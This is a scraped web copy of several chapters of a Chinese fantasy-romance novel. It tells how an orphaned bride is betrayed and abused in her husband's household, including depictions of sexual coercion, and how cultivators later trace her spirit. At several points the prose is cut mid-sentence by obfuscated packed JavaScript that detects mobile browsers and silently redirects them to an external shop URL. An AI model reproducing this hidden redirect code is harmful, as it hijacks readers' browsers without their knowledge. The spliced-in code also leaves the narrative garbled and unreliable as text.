孙二娘站在屋中央,让训诫她的话从左耳朵进右耳朵出,态度看着挺好,就是不松口:“哥嫂搬去了钟灵郡,若我嫁人了,娘岂不是要一个人孤苦伶仃留在家里?” 孙夫人对她怒目而视,手指着大门口:“我老婆子就算是死了,也不用你这个不孝女管!你赶紧给我滚!滚!” 孙二娘也来了气,转身就夺门而出,一路抹着眼泪跑到桥上,看着桥下的流水更是伤心,想着她娘这么不识好歹,那不如她直接跳下去一了百了,省得受那老婆子的气! “姑娘!”一道清脆的女声打断了桥上人的哀思。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165234|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 孙二娘回头,看到一个一身白的女子脸色慌张地提裙跑来,眉梢眼角都带着忧色:“姑娘莫要寻短见!” 她忍不住上下打量这人,嘴硬道:“你怎知我要寻短见?我只是在这里赏赏景色而已,才没有想跳下去。” 白衣女子身上还背着行李,满身风尘仆仆的倦意,却难掩其姿色之姝丽。 她闻言也只是笑:“这再好不过了,此时虽是寂寥深秋,却也别有一番意境。” 孙二娘看她从头到脚都一身白,猜测她是为家人戴孝,又想起自己家里那个硬脾气的老婆子,心里怄着的那口气就这么散了,转而盘问她:“你不是我们平松县的人吧?” 白衣女子点点头:“我是晚堂县的,家中父母……皆因病去世,此次来平松县,是为找我未婚夫婿。” “哦?”孙二娘饶有兴趣地问,“你那未婚夫婿叫什么?兴许我还认识呢。” “李望山。”女子脸颊微红,似是有些不好意思。 “李家啊,”孙二娘抓起她的手便往桥下走,“李夫人常与我娘在一处吃茶,我带你去李家好了。” 白衣女子眼神微动:“你与他们家很相熟?” 孙二娘点点头:“李家人是出了名的好脾气,待街坊邻里都极好,从未跟人红过脸。你放心,他们必会收留你、好好对待你的。” “不过,”她话头一转,“李望山这个人……” 白衣女子一愣,被她抓着的手心都冒了汗。 孙二娘见她紧张,忍不住笑道:“他可是个书呆子,一心要考取功名,没什么意思。” 女子松了口气,替人辩白道:“有心上进,这是好事。” 她爹当年和李家老爷李凭风便是科考时认识的,二人虽然都未考取功名,却相见恨晚,彼此之间引为知己,早早为自家的孩子定下了娃娃亲,甚至他爹的临终遗言便是要她来投靠李家,后半生好有个依靠。 “还未过门呢,你就替他说上话了?”孙二娘忍不住打趣她,惹得白衣女子白皙的脸颊染上了两团红晕。 二人说着话,很快就到了李宅门口,孙二娘前去敲门,正巧遇到要出门的李夫人,便把白衣女子的来历告知了对方。 “好孩子,快过来让我看看你。”李夫人生就一张慈眉善目的菩萨面,让人看一眼就心生亲切。 白衣女子一开始还有些羞怯,在李夫人的安抚下,竟是依偎在其怀里将父母双亡的苦楚吐露了出来,眼泪涟涟的模样颇惹人怜惜。 孙二娘不好意思再逗留下去,便向人告辞,结果刚走出两步,又想到了件要紧事,回头问她道:“哎,你还没告诉我,你叫什么名字呢。” 白衣女子清脆的嗓音里还带着点哭腔,回她道:“阮卿依。” 卿依,卿依。孙二娘琢磨着这个名字。 想来她父母必是爱女心切,想要她一辈子都能有所依靠,不至于陷入孤苦无依的地步。 如今她虽父母双亡,但是有良善的李家愿意收留她,这很好。 9. 二娘 腊月间,孙二娘给自家娘亲烫好了酒,就上街看热闹去了。 北凛州各郡县每到腊月十五便会举办百灯节,这一日街上处处是花灯摊,处于暧昧期的男女可借由互赠花灯来表明心迹。 孙二娘将自己熬成了老姑娘,已经许多年未曾收到旁人送的花灯了。 她自己觉得没什么,只顾着流连在不同花灯摊前看样式,不时与摊主攀谈几句,倒也十分自在。 正当她看够了热闹,准备往回走时,一道清脆的声音让她猛地停下了脚步。 “好了好了,别买了,已经有莲花灯和鲤鱼灯了,再买……家里该挂不下了。” 她回头看去,见阮卿依正被李望山护在身前,免受人群拥挤,手里提了两盏做工精美的花灯,整个人在葳蕤的灯火中更显明眸善睐。 李望山还是那副读书人的打扮,伸出一只胳膊将人圈在怀里,低头调笑道:“可我看那蟾宫灯上的仙子和我家卿依竟有九分相似,便忍不住想买了送你。” 阮卿依双颊染上红晕,只得任他又买了一盏灯提着。 二人一边赏灯一边喁喁私语,任谁看了都要赞上一句佳偶天成。 孙二娘看着二人的身影逐渐淹没在人群里,心里也暗暗为阮卿依高兴。 没想到那李望山看着像个古板的书呆,私下里却是个会疼人的,卿依那般柔弱的女子,有这样一个丈夫肯护着她,也算是有个好归宿。 斗转星移,眼前之景骤然变成了张灯结彩的李宅。 孙二娘扎在人堆里看热闹,看着八抬大轿停在了李宅门口,一身红的新郎官将新娘从轿子里牵了出来,一路上小心体贴,时不时便提醒一句“有台阶”“有门槛”,惹得周遭看热闹的街坊邻里、亲朋好友又是一阵善意的哄笑,都说他们李家人向来最会疼人。 “这阮氏真是修了八辈子福,居然能嫁给李家公子。” “你在这儿酸溜个什么劲儿?往年你去相看,人家虽说没明说,但意思就是没看上你。这都过去多久了,还惦记着呢?” “不过是长了一张妖娆的脸,这才让旁人迷了心窍。这种好色的男人,我还不稀罕呢!” 孙二娘给了那泼妇一个白眼,暗骂一句“扫兴”,随后便挤到廊下,欢欢喜喜地去看新人拜堂了。 李老爷和李夫人坐在高堂上,都是眼带笑意,看样子是对自己的儿媳妇十分满意。 阮卿依戴着红盖头,一身裁剪合身、做工精美的嫁衣衬得她身姿绰约。 孙二娘打心眼里为她感到高兴。她们二人虽然只在初见那天说了一会儿话,她却从心底将阮卿依当成自己的朋友,见朋友觅得佳婿,她自然欣喜。 所以她便多吃了两杯酒,最后还闹笑话醉倒在了席面上。 意识模糊之间,她依稀感觉到有一双手在摸自己,随后又听见两个人似乎在吵架,但是她头脑昏沉,实在是爬不起来、睁不开眼,只能在醉意里慢慢失去了意识。 等她醒来的时候,她娘甫一看人睁开眼,抡起胳膊便将一巴掌招呼到了她脸上,恨恨道:“我看你是长了出息了,还敢在别人的喜宴上喝醉酒!” 孙二娘被这一巴掌打蒙了,捂着脸愣愣地看着她娘。 孙夫人虽说性情暴躁,却很少有这样跳脚大怒的时候。 “我让你兄长明日来接你,正好你也去钟灵郡长长见识,省得你日日在家里与老婆子我相看两厌!” 孙二娘总觉得是昨日喜宴上发生了什么大事,但是她兄长对此也是一头雾水,偏她娘一脸讳莫如深,勒令她半年内不许回平松县,她只得将此事暂且搁下。 再见阮卿依已是半年后。 孙二娘实在放心不下娘亲独自住在平松县,便央了哥嫂,雇了辆牛车,悄悄赶了回来。 结果她刚从车上下来,一个披头散发、状若癫狂的女子便从巷子里蹿了出来,仿佛后面有恶犬在追着她咬。 没等她跑出几步,两个小厮便追出来将人拖了回去。 孙二娘忍不住向旁边豆腐店的老板娘打听。 对方一边嗑瓜子,一边漫不经心地回答:“哦,是那李家的阮氏,刚过门便得了疯病,现下是一天比一天严重,眼看是没得治了。” 孙二娘如遭雷劈,脚步匆匆地就想去李宅问个明白,结果半路上遇到了她娘,愣是被孙夫人拽回了家。 “你以后离李宅远些,不许再去那条巷子。”孙夫人杀了半辈子猪,手上很是有些蛮力,直接将孙二娘扯进祠堂关了起来。 孙二娘在里面干嚎:“不行,我得去看一眼啊娘,你让我去问明白!” “人家的家务事究竟与你一个老姑娘有什么干系,你别上赶着去惹一身臊!”孙夫人在门口啐了一口,“那李家是何等虚伪的一户下流人家,也值得你三番两次跑去招惹!” “娘!”孙二娘有些震惊,她娘之前不是和李夫人交好吗,怎会说出这样一番话。 孙夫人冷笑道:“你可知那李望山成亲之日做了什么吗?” “要是老婆子我再晚点到,你就在人家的喜宴上,被他活活玷污了清白啊!” “什么?”孙二娘惶急地拍打着祠堂门,“娘你说清楚,到底怎么回事?” “怎么回事?亏你还巴巴地去给那畜生送贺礼,他却趁你醉了酒,嘴上说着要差婢女送你回家,背地里竟将你拐到厢房里欲行那猪狗不如之事!若不是新娘子与他有一番纠缠,等你娘我赶到,你就成了这天底下最大的笑话了!” 孙夫人说完就气得头晕,恨不得磨了杀猪刀直接上门劈死那獠! 孙二娘听外面的脚步声逐渐远了,全身失力一般瘫坐在了地上。 不对不对不对。 分明不是这样的! 卿依和李望山明明那般恩爱,怎么会是这样呢? 她根本难以将初见那天温文尔雅的女子与今日街上那个脏污癫狂的疯子想为一人。 区区半年而已。 她竟有了物是人非的感觉。 后来,孙夫人终究不忍心,将孙二娘从祠堂里放了出来,但也对她严加看管,不许她再往李家那条巷子去。 孙二娘出来之后才知道,李家的疯儿媳已经跑了,许多天不曾回来。 没了官府和宗门的庇护,外面妖魔鬼怪横行,她一个疯了的弱女子,结局如何可想而知。 孙二娘心里难过,许多天吃不下饭,思来想去,还是偷偷置办了纸钱,趁着孙夫人今日看她看得不紧,悄悄在门口的大槐树下给阮卿依烧纸钱。 生怕地底下的人收不到,她还拿起多年未碰的毛笔,在每一张纸钱上面歪七八扭地写下了阮卿依的名字。 这样难写的名字,她却写了厚厚一沓,然后一张一张烧给那人,直到胸前的衣服湿了一大片,她才意识到自己不知何时已经泪流满面。 到底为什么啊? 她只是一个没了爹娘的弱女子啊。 凭什么就对她如此不公,竟要逼她至此! “二娘。” 她猛地抬起头,正对上一双含笑的眼眸。 阮卿依站在槐树下,身着一袭红装,仍是昔日里那副姿色姝丽、明眸善睐的模样,仿佛她娘说的那些都是胡话——她明明在成亲后过得很幸福,所以现在好好地站在了她面前。 “你……”孙二娘的眼泪简直止不住,站起身来走到她跟前,甚至不敢伸手碰她,生怕这只是她犯了病后看到的幻影。 阮卿依伸手将她的碎发别至耳后,嗓音却不复往日清脆,带上了点哑:“这半年来你还好吗?” 不好,一点都不好。 尤其在知道你过得很不好之后。 “对不起,”孙二娘泣不成声,“那日……那日我不该把你带去李家……对不起……” “这与你无关,”阮卿依想为她擦眼泪,突然又想起了什么,便黯然收回了手,“不管那天有没有遇到你,我总归是会去李家的。” 孙二娘突然想起了地上的纸钱。 她胡乱用袖子抹了抹眼泪,低头看去,发现纸钱已经被烧得差不多了,仅剩的几张上还能看到“阮卿依”三个大字。 不等她解释什么就被人一把抱住了。 “二娘,谢谢你。” 孙二娘的眼泪又落了下来:“我还以为……还以为你……” 阮卿依放开她,提着裙摆在她面前转了一圈,像极了一朵盛开的红莲。 “我今日好看吗?” 孙二娘含着泪点头:“好看,特别特别好看。” “那就好,办喜事的日子就应该好看。”阮卿依又对她笑了笑,“好了,我要走了。” “你去哪?”孙二娘一把抓住她的衣袖,“你别回李家了。” “我们家还有两间厢房,只要你不嫌弃我娘脾气暴躁,大可以住在我家。”她央求一般看着对面的红衣女子,“你若不想留在平松县,我带你去钟灵郡,我哥嫂在那边……” “二娘。”阮卿依的眼神不知何时变得复杂了,看似平静的表象下是汹涌的情绪。 而她却只能读懂其中的悲伤。 “我有我自己的事情要做,你回家吧。” “我可以帮你……”孙二娘仍旧抓着她的袖子不放。 阮卿依狠下心将她的手指一根一根掰开,语气淡漠:“你帮不了。” 孙二娘冥冥之中预感到了她要去做什么,却只能无能为力地放她离开。 “卿依!”她追出去一步,声音却越来越低,几乎要被风吹走,“你现在好吗?” 阮卿依对她回眸一笑,脸上的快意不似作伪:“我很好。” 一阵风吹过,眼前的红衣女子转瞬便消失不见了,仿佛刚刚出现的当真只是她犯了癔症后凭空幻想出来的泡影。 翌日,一整晚翻来覆去睡不着觉的孙二娘还是决定去李家看一看。 她瞒着她娘出了门,然后在李宅廊下看到了一溜的尸体。 其实她并没有落荒而逃,反而在那屋檐底下仰着头逐一确认了——阮卿依不在里面。 孙二娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟知匀转身走向薛昱,拿出一张宣纸,“唰唰”几下便把孙二娘那套衣服的样子绘了出来:“我们现在去孙宅,依据孙二娘的气息,找这套衣服。” 薛昱接过宣纸,大概扫了一眼后“嗯”了一声。 不等二人离开,一直麻木坐在后面的孙二娘却“噗通”一声跪下了。 她腰背挺直,声音朗朗。 “仙师,你们说,这上天真的有公道可言吗?” * 孙二娘推开自己的房门,将昨晚的那套衣服递给了孟知匀。 薛昱已经在旁边布下了追灵阵,然后右手微抬,将那件衣衫上的一滴泪水点入了阵法内,像突然往平静的湖里扔进了一块石头,使阵法陡然泛起涟漪。 若是肉体凡胎留下的踪迹,便呈红色,若是修行中人留下的痕迹,则会显现其灵根气韵的色泽。 他看着眼前这道半红半白的踪迹,眉头微皱:“随我来。” 薛逢梨和孟知匀一人抓着孙二娘的一条手臂,同时提气御风,直接带她飞了起来。 兢兢业业守在李宅门口的刘县令正等得焦头烂额,在原地来回踱步了十几圈,刚想派人去敲门询问,就见几个仙师乘风而起,竟直接飞走了,后面两个仙师甚至还把孙家那个老姑娘给带上了。 衙役和县令一同呆若木鸡般目送着几人离去。 孙二娘何曾体验过这种一飞冲天的滋味,不仅腿肚打颤,脸色也是苍白如纸,刚想开口说话,就被风堵了嘴。 由于追灵阵的痕迹贴近地面,所以他们不能御剑,一遭御风下来,孙二娘扶着树就开始“哇哇”吐。 “我们飞得很快吗?”孟知匀不自在地咳了几声。 她想过有人可能会恐高、会晕剑,万万没想到还会有人晕风。 薛逢梨也有些不好意思,只得道:“毕竟凡人体质不比修士,难免会有不适应。” 薛昱不知道从哪舀来了一碗清水,递给薛逢梨,朝着孙二娘的方向微微抬了抬下巴。 薛逢梨心领神会,端着清水就去找孙二娘了。 孟知匀朝他身后张望,看到不远处有一座茅屋。 “怎么,师妹也想喝水?”薛昱不动声色往左挪了一步,挡住了她的视线。 孟知匀的目光从他的胸肌挪动到喉结,最后才挪到那张脸上:“没有,只是好奇师兄是从何处找来水而已。” 以往她在山上遇到薛昱时,总是处于一种半死不活的麻木状态中,恨不得倒头就睡,倒是没怎么欣赏过他的美色。 眼下可是他自己凑过来的,不看白不看。 薛昱垂眸看着她,发现这人不仅上下打量他,态度还越来越理直气壮,让他觉得有些好笑,便如实回答她:“当然是买来的。” “二文钱一碗。” “什么?”孟知匀有些应激,“这么贵你都买?” 富公哦。 二文钱都够她在山上吃一顿馒头配咸菜的早餐了。 “很贵吗?” 孟知匀煞有介事地点点头:“很贵。” “那你喝不喝?” “你买?” “嗯。” 孟知匀心想君子不吃嗟来之食,出门在外岂能占这种便宜。 区区一碗水而已,怎能折辱了气节! 她重重点了点头,对薛昱露出一个标准微笑:“有劳师兄了。” 10. 剑气 为了照顾不习惯御风的孙二娘,几人赶路的速度放慢了一点,临近傍晚才抵达晚堂县。 阮卿依留下的痕迹远远避开了人多眼杂的村镇,蜿蜒至一个坐落在山脚的小院子。 孟知匀本想直接推门而入,手指还未落到院门上,她又停顿了一下,觉得还是敲门比较好,便转而拿门环拍了拍门。 薛昱走到她身旁:“里面没人。” “这是礼貌,师兄。”孟知匀伸手推开院门,里面并非她想象的那样灰尘遍布、破败不堪,反而处处整洁,甚至连落叶也看不见一片。 薛昱的目光不禁落到她身上。 行,挺有礼貌。 薛逢梨扶着孙二娘走进院子,四下打量了一下,推断道:“看来,阮卿依应该回来过。” 薛昱右掌抬起,缓缓收拢五指,剩下三人眨眼间便置身于丹青水墨画般的黑白中,眼前只有半红半白的网缠绕在一起,昭示着灵韵主人在院内的行动路线。 孙二娘扶着墙看向痕迹指向的地方,仿佛看到了那个身穿红衫的女子在院内缓缓踱步,抚摸过一寸一寸的砖石,与这个她从小生活到大的家依依惜别。 这里不似李宅阔气,甚至颇有些清贫,却处处可见主人生活之温馨。 小时候的阮卿依一定是个正儿八经的书呆,会坐在小凳子上跟着她爹念书,后来她长大了,或许也会喜欢书肆的话本子,或许也曾对才子佳人的故事产生过向往,或许也幻想过自己将来会过上和她爹娘一样平淡但幸福的生活。 可惜,造化弄人,始料未及的命运往往让人变得面目全非。 薛昱从满院的丝网中找到了一根向外蜿蜒的痕迹,回头看向几人:“天色不早了,痕迹通往后面的山林。要现在追过去还是休整一晚?” 他们仨倒是无所谓,主要看孙二娘。 察觉到目光隐隐落到自己身上的孙二娘忙摆了摆手:“我没事,现在已经缓过来了。” 薛昱“嗯”了一声,抬步往门口走去:“那就现在过去。” 阮家小院附近便是一座坟,坟前立着的墓碑上刻着两行龙飞凤舞的字迹: 先父阮经年先母李珍之墓 女阮卿依泣立 但是那道半红半白的灵韵远远避开了这座坟,甚至不惜绕了一个大圈才进入旁边的森森山林。 “等我一下。”孟知匀从怀中拿出两个刚摘下来的柿子,御风而起,几息之间便到了墓前,引来微风拂去了坟墓上的积灰,然后将柿子摆在了上面。 来都来了,还是祭奠一下比较礼貌。 孙二娘远远看着孟知匀,又回头看向阮家门口的柿子树,不由得抿住嘴唇,眼里又泛起一点水意。 柿子树今已硕果累累。 却再也等不到往年采撷柿子的人了。 * 夜色悄然降临,整个山林像是被笼罩了一层轻薄的黑纱,显得静谧又诡异。 薛昱在林子边缘止住脚步,突然回头问孙二娘:“你有什么质地较好的随身物品吗?” 孙二娘愣了一下,解下腰间一个打了络子的翠绿玉佩:“这个可以吗?” “可以。”薛昱抽出雾凇剑,并拢右手的食指和中指,缓缓沿着雾凇的剑铭划过,指尖凝聚的剑气逐渐化作一道白光,随着薛昱手指的引导,慢慢流进了那块玉佩里。 “待会儿如果遇到不测,可拿这道剑气应急。” 进入山林后的情形难以预测,虽然阮卿依大概率不会伤害孙二娘,但是不知里面是否还潜藏着别的危险,只能提前做好应对准备。 薛逢梨见状也依样为孙二娘的银簪添了一道湫水剑的剑气。 看着孙二娘连连道谢、面露感激的模样,孟知匀摸了摸自己破剑的剑柄,内心叹息:“剑兄,你真不争气啊。” 分离剑气不仅需要剑修有较高的修为,还需要以灵气充沛、品质上乘的本命剑作为分离载体。 就她这把破剑,如果硬要从中分一道霸道的春晓剑剑气出来,必然会当场崩出第七个豁口。 以她目前的资产水平,实在承担不起这样的折损,只能作罢。 薛昱却突然将自己的剑递给她:“你用雾凇试试。” 孟知匀像见鬼了一样看着他,差点就脱口而出问他:“你没事儿吧?” 翻译一下,薛昱这句话不亚于把自己儿子领到她面前,并拍着儿子的头说:“来儿子,你也管她叫一声爸爸吧。” 薛逢梨也觉得此事颇为离谱,但是她身为一个乖巧听话懂事了十几年的小师妹,非常有眼力见地保持了沉默,赶紧转过身,没话找话地又跟孙二娘交代了几句激发剑气的注意事项。 偏偏薛昱浑然不觉,还对她挑了下眉:“怎么了?” “这不太行吧。”孟知匀的目光在雾凇剑上逡巡,“本命剑向来认主,我应该不能跟它的灵气共鸣。” 这可不是基础的御剑,是分离剑气诶。 “先试试,”薛昱似乎后知后觉自己的行为有不妥之处,便破天荒地解释了一句,“春晓剑中包含了绵绵生机,你的剑气尤甚,用来护身最合适不过。” 行吧,都这么说了。 那试试呗。 孟知匀接过雾凇剑,屏息凝神探出一缕灵气与雾凇剑共鸣,同时调动周身灵气着重护住自己的心脉和神识。可意料中的阻滞和反噬并没有出现,她极其顺利地和雾凇建立了简单联系。 随着指尖划过剑铭,她将一道淡碧的剑气缓缓送入了孙二娘的长命锁中,然后抬头就和一脸震惊的薛逢梨四目相对。 早知道能成功就背着她弄了。 这下让人有点百口莫辩了。 关键是,她自己也不知道为什么薛昱的本命剑这么配合啊?难道他平日里没少领着雾凇出去管人叫爸爸? 啧啧,没想到高岭之花居然还有这种癖好。 眼看孟知匀的脸色越来越怪异,薛昱收起雾凇剑就往山林里走,丝毫没有想解释什么的意思,徒留师姐妹两个大眼瞪大眼。 无声沉默了片刻,二人只得各怀心思地跟着他走了进去。 从外面看,整片林子漆黑如墨,但他们甫一踏入山林,里面便亮起了点点灯火。 薛逢梨护在孙二娘身边,小心翼翼地探查着周边情况,走了几步后,忽然发现树上挂着的灯盏闪烁了一下,里面如练的火光竟随着他们的脚步跳动到了另一盏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165236|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯里。 “这是……灵火?”她有些不确定地询问。 灵火,顾名思义便是以灵气形成的火焰,可照明却无火焰的温度,大多出现在灵气充沛的地方。 当然,修士也可以动用自己的灵气来制作灵火,但其损耗较大,且除了照明毫无用处,所以鲜少有人会这么做。 孟知匀仰头凝视着灯盏里的火光:“没错,就是灵火。” 怪不得他们在山林外没看到里面有光亮,应该是藏匿在里面的人刚刚察觉到有人进了林子,这才为他们点燃了灵火灯。 不得不说,还挺贴心。 几人沿着林中小径走了几十米后,前面一棵松树下忽然出现了一道瘦高的身影。 此处的灵火格外亮堂,像是为此地单独开了聚光灯。 灯下的男子身着青色襕衫,五官端正,看起来是个憨厚踏实的读书人。 孙二娘却猛地瞪大了眼睛,后退了一步,指着那人颤声道:“李望山!” 他不是被吊死在房廊下了吗,怎么会出现在这里? 孟知匀握住她的手,伸出食指抵在自己唇前,做了个“噤声”的动作。 孙二娘点点头,伸手捂住了自己的嘴,生怕自己再发出什么声音。 薛昱站在一旁,抱着剑好整以暇地看着树下,仿佛摆在面前的是一出难得的好戏。 树下的李望山似乎毫无察觉有人靠近,手里拿着一册书,正在低声背诵文章,随后,穿着一身嫩黄衣衫的阮卿依从旁边的树影中走了出来,巧笑倩兮:“李郎,时候不早了,小心看书看坏了眼睛。” 李望山放下书,一把将人揽进怀里,低着头飞快吻了吻她的鬓角:“卿依说的是,不过……” “孤枕难眠,你今晚要留下陪我吗?”他促狭一笑,放在女子腰间的手忽然扣紧。 阮卿依浑身一僵,脸颊早已羞红,轻轻推了他一把:“还未成亲呢,莫要再说这种胡话。” 李望山一愣,随即笑道:“是我唐突了,那卿依快去歇下吧,我背完这篇就去休息。” 阮卿依低头盯着自己足尖,细声细气地应了一声,然后便提着裙摆跑了出去。 目送着女子的背影消失在夜色里,李望山转身坐下,翘起一条腿:“还不出来?喜欢当我金屋里藏着的娇娇?” 一个婢女打扮的女子从内帷走了出来,直接坐到了李望山腿上,勾着他的脖子娇嗔:“奴婢以为,少爷有了未过门的妻子,就不需要奴和姐姐来陪了。” “我何时说不要你们了?”李望山凑近她嗅了嗅,“这不是我给卿依买的脂粉吗,怎么你这个做婢女的先用上了?” “珠儿比她先伺候少爷,有好东西,自然也是珠儿先用。”婢女指尖一挑,扯开了自己的衣衫,“少爷说,是不是这个道理?” 李望山的目光顺着她的衣领往下,伸手揉了揉那两团软白:“自然。” “她不愿意的事情,有的是人想做。” 眼看事态发展即将往18+剧情飙去,孟知匀眼疾手快地捂住了薛逢梨的眼睛,轻声道:“少儿不宜,少儿不宜啊。” 薛逢梨不满地撇嘴:“师姐,我不是小孩子了!” 11. 猪笼 眼前的场景像极了一出你方唱罢我方登场的好戏,李望山抱着珠儿走进树影中后,换了一身月牙白衣衫的阮卿依从另一边走了出来。 松树下陡然出现了一个坐在镜前梳妆的女子,穿着打扮和珠儿类似,应该也是李家的婢女。 看到阮卿依走来,那女子不慌不忙地把刚戴在头上的钗子拔下来,起身瞥了她一眼:“姑娘今日怎么起得这么早?” “这钗子……”阮卿依娥眉微蹙,“可是昨日李郎买给我的那支?” 婢女掩唇笑道:“我和珠儿在这府里没规矩惯了,看到新鲜玩意儿便忍不住想试试,姑娘莫要生气。” 阮卿依脸色沉了沉:“月儿,你动我别的东西我不会说什么,唯有这钗子,是李郎送与我的,不好给旁人戴了去。” “姑娘这是说的什么话?”月儿收敛了堆出的笑意,冷眼瞧她,“你没来李家之前,少爷把我们当亲妹子疼爱,平日里金银珠宝也没短了我们的,就这种成色的钗子,我还没放在眼里,不至于就偷了你的。” “我不是这个意思。”阮卿依见她误解,上前拉住她的手,想解释几句。 月儿却不给她这个机会,一把甩开她的手,冷哼一声便跑出了门。 阮卿依低头看向那根珠钗,不禁攥紧了手指,也跟着走了出去。 另一端,李望山刚从树影里转出来,月儿便如乳燕投林般扑进了他怀里,哭哭啼啼地诉说着自己的委屈,末了狠狠一跺脚,恨恨道:“这还没过门儿呢,就摆这样的架子,若她真嫁给了少爷,这家里还有我和珠儿的容身之地吗?” “我今日便去求夫人,不如找人牙子把我们发卖了去,省得在家里碍少夫人的眼!” 李望山一边给她擦眼泪,一边轻声哄:“你与她置什么气?不过爹娘见她可怜,这才让她进门,你们在她面前装装样子便算了,哪里算是她的婢女了?想要什么珠宝,我今日去街上买了给你便是。” 月儿这才破涕为笑,依偎在他怀里:“少爷可要说话算话。” “啪”的一声,那根引起争端的钗子掉在地上,摔成了两截。 阮卿依浑身发抖,一言不发地转身就走。 李望山忙推开月儿,大步追了上去,从后面一把握住了阮卿依的手腕,稍一用力便将人拽进了怀里。 “放开我。”阮卿依白皙的脸颊被气得通红,伸手就推他。 “生气了?”李望山收紧了臂膀,将人紧紧桎梏在自己怀里,“我的卿依生起气来也这样美。” “既有了什么珠儿月儿,李公子又何须娶我这样一个累赘?”阮卿依见挣脱不开,索性不再挣扎,仰起脸质问他,“先前你与我说的种种,怕也当不得真。李公子胸怀宽广,岂能只装一个女人?” 李望山见她吃醋,心里愈发得意,嘴上却道:“她们自幼便被爹娘买来,我看她们可怜,这才将她们二人当成妹妹看待,没想到竟把这两个丫头骄纵成了这般脾性。若是少夫人不喜欢,我今日便把她们打发出府,如何?” “少夫人”三字臊得阮卿依耳垂通红,虽然心里郁气难散,却也不忍心看两个女儿家家的因此被发卖,只当他们先前一起长大,难免乱了礼数。 “倒也不必。”她强行压下了心头的火气,仰头认真地对他说,“不过你心里须得有数,若要好好与我过日子,便不能像往日那般和女儿家拉拉扯扯,弄得不清不白,对她们声誉也不好。” “这是自然。”李望山言之切切,趁机在她唇角啄了一口,“等日后我身边有了卿依,哪里还会多看别的女子一眼?” 阮卿依被他这突如其来的一吻弄得浑身僵硬,却强忍着不适没有推开他。 孙二娘站在一旁看着,手指不由自主握成了拳,恨不得冲上去将这个道貌岸然的伪君子揍成猪头。 不等她咽下这口恶气,就见李望山和阮卿依穿着大红的喜服走了出来。 这正是他们成亲那日的装束。 阮卿依头上的红盖头被扔到了一旁,她双目通红地瞪着李望山,头一遭摆出咄咄逼人的姿态,满脸嫌恶地骂道:“你这个畜生,二娘又哪里招你了,你要这样玷污她清白!” “我都说了是我醉酒后认错人了,何必揪着这件事不放!”李望山恼羞成怒,“我又没真的对她做什么?” “你滚!”阮卿依根本不信,指着贴了喜字的门,冷声嘲讽,“有了珠儿月儿还不够,连二娘你都不放过,李望山,你跟发.情的畜生有什么区别?” 李望山气极反笑,欺身上前一把攥住新娘子的腰,不顾她的挣扎反抗,强行把人拦腰抱起,抬步就往内帷去,脸色冰冷:“既然你都这么骂了,我倒不介意把畜生的名头做实。” “你放开我!”阮卿依死命捶打他,眼泪汹涌而出,声音都气得颤抖,“我要与你和离!” 李望山将人一把扔到床上,伸手就开始宽衣解带,高高在上地看着她,冷笑道:“进了我李家的门,你以为你还能出去吗?” “你要是识相,就好好伺候我,不然,就等着在府里受罪吧。” 孙二娘紧紧捂住了嘴唇,两颊的眼泪却如断线串珠般源源不断地滚落。 灵火灯骤然灭了一瞬,再度亮起时,是阮卿依独自坐在窗前,愣愣地看着外面的风景。 不多时,李望山抱着珠儿走了进来,二人正值浓情蜜意时,瞥见屋内的阮卿依,倏忽便黑了脸:“出去。” 阮卿依连一个眼神都懒得分给他们,起身就要走,却在不经意间看到了珠儿身上佩着的红玉玉佩。 那是她娘留给她的。 别的身外之物她都可以不在乎,唯独这个不行。 “把玉佩还我。”阮卿依的一双明眸如一潭死水般寂静,直直看向缩在李望山怀里的珠儿。 珠儿娇笑道:“少夫人的东西,奴婢当然不敢拿了。” 可没等她把玉佩解下来,李望山便按住了她的手:“她既嫁入了我李家的门,吃我们家的、用我们家的,她的东西自然也是我们家的,现在我把这玉佩赏你了,她又哪来的脸敢把东西要回去?” “这是我娘的遗物。”阮卿依仰着头,看向这个曾对她百般哄劝的男子,心里只觉得讽刺。 李望山对她视而不见,直接将珠儿抱进床帏:“你若想站在这里看我们欢好,我倒也不介意。” 珠儿作势要打他:“讨厌。” 阮卿依恶心得想吐,头也不回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165237|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地摔门离开了。 她终究没能要回那个玉佩,在李望山的默许下,那对姐妹将她的东西挑挑拣拣拿走了大半,还在她的新房里和她的夫君欢好。 留给她的,只有数不尽的冷眼和嘲讽,以及那个畜生起了兴后的强迫。 